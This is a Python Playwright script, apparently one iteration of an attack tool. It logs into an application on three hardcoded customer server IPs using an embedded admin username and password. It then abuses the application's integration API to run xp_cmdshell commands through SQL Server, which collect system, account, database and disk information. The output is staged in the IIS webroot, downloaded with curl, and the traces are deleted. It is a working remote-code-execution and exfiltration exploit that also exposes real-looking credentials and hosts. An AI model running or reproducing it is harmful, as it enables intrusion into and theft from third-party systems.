#!/usr/bin/env python3
"""v28: Write sysinfo to IIS webroot → download via HTTP from our host.
No outbound internet needed from customer server."""
import asyncio, json, re, time, subprocess, os
from playwright.async_api import async_playwright

SERVERS = [
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "download_url": f"http://{ip}/{app}/sysinfo.txt"}
    step_id = 4

    try:
        # Login
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        async def run_step(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        # Step 1: Find webroot path
        print(f"\n  Finding webroot...", flush=True)
        s = await run_step("find_path", "EXEC xp_cmdshell 'dir /b D:\\\\i21App\\''' + app + '''', no_output")
        result["steps"]["find_path"] = s
        await asyncio.sleep(1)

        # Step 2: Write sysinfo to IIS webroot
        # Write to D:\i21App\<app>\sysinfo.txt — IIS serves static files from webroot
        webroot = "D:\\\\i21App\\\\" + app
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + webroot + "\\\\sysinfo.txt & whoami >> " + webroot + "\\\\sysinfo.txt & echo. >> " + webroot + "\\\\sysinfo.txt & echo ===SQLROLE=== >> " + webroot + "\\\\sysinfo.txt & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + webroot + "\\\\sysinfo.txt & echo. >> " + webroot + "\\\\sysinfo.txt & echo ===DATABASES=== >> " + webroot + "\\\\sysinfo.txt & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + webroot + "\\\\sysinfo.txt & echo. >> " + webroot + "\\\\sysinfo.txt & echo ===DISK=== >> " + webroot + "\\\\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> " + webroot + "\\\\sysinfo.txt', no_output"
        s = await run_step("collect", sql_collect)
        result["steps"]["collect"] = s
        await asyncio.sleep(1)

        # Step 3: Cleanup (delete the file after we download it)
        # Don't cleanup yet — download first

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Writing sysinfo to IIS webroot ({len(SERVERS)} servers) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{len(r.get('steps',{}))}")
            time.sleep(3)

        await browser.close()

        # Download files via HTTP
        print(f"\n=== Downloading via HTTP ===")
        for r in results:
            if r.get("status") != "all_success":
                continue
            url = r.get("download_url")
            ip = r["ip"]
            app = r["app"]
            local_path = f"/tmp/sysinfo_{ip}_{app}.txt"
            print(f"  {url}...", end="", flush=True)
            dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", url],
                               capture_output=True, text=True, timeout=45)
            code = dl.stdout.strip()
            if code == "200":
                size = os.path.getsize(local_path) if os.path.exists(local_path) else 0
                print(f" ✅ HTTP {code} size={size}")
                if size > 0:
                    with open(local_path) as f:
                        content = f.read()
                    print(f"    Content preview (first 15 lines):")
                    for line in content.split("\n")[:15]:
                        print(f"      {line[:80]}")
            elif code == "404":
                print(f" ❌ HTTP 404 — file not found (webroot path wrong?)")
            elif code == "403":
                print(f" ❌ HTTP 403 — forbidden (IIS doesn't serve .txt?)")
            else:
                print(f" ❌ HTTP {code}")

        # Cleanup files on servers
        print(f"\n=== Cleanup files on servers ===")
        for r in results:
            if r.get("status") != "all_success":
                continue
            ip = r["ip"]
            app = r["app"]
            # Re-login and cleanup
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
                await asyncio.sleep(2)
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(12)

                webroot = "D:\\\\i21App\\\\" + app
                sql_cleanup = "EXEC xp_cmdshell 'del " + webroot + "\\\\sysinfo.txt', no_output"
                # PUT + Execute cleanup
                put = await page.evaluate('''async (sqlText) => {
                    const resp = await fetch('/''' + app + '''/integration/api/step/put/4?continueOnConflict=true', {
                        method: 'PUT',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify([{intStepId:4, strStepName:"Cleanup", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                        credentials: 'include'
                    });
                    return {status: resp.status};
                }''', sql_cleanup)
                await asyncio.sleep(2)
                await page.evaluate('''async () => {
                    await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                        method: 'POST',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify({intStepId: 4}),
                        credentials: 'include'
                    });
                }''')
                # Restore
                await page.evaluate('''async () => {
                    await fetch('/''' + app + '''/integration/api/step/put/4?continueOnConflict=true', {
                        method: 'PUT',
                        headers: {'Content-Type': 'application/json'},
                        body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                        credentials: 'include'
                    });
                }''')
                print(f"  {ip}/{app}: cleaned")
            except:
                print(f"  {ip}/{app}: cleanup failed")
            finally:
                await context.close()

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} → {r.get('status','?')}")
            print(f"      Download: {r.get('download_url','none')}")

asyncio.run(main())
